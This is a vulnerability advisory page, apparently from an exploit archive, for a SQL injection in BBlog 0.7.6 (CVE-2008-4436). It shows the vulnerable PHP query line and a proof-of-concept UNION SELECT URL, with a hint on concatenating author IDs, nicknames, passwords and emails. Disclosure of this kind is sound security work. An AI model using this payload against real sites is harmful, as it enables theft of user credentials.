BBlog 0.7.6 SQL Injection Vuln

2008-10-06 / 2008-10-07

Credit: IP-Sh0k

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-4436

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

#######################################################
########## BBlog 0.7.6 SQL Injection Vuln #############
#######################################################
#
# Vulnpath: /bblog_plugins/builtin.help.php
# 
# Vuln: if($_GET['mod']) $pluginrow = $bBlog->get_row("select * from ".T_PLUGINS." where name='".$_GET['mod']."' and type='modifier'");
#
#
#
# PoC: ?pid=1&mod='+union+select+1,2,3,4,5,6,7,8,9,10,11,12+from+bb_authors--
#
# help: On the number you can see you have to set:
#       concat_ws(0x3a,id,nickname,password,email,icq) 
#
#
# Found by: IP-Sh0k
#######################################################

References:

http://www.securityfocus.com/bid/30658

http://www.milw0rm.com/exploits/6233

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

BBlog 0.7.6 SQL Injection Vuln

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.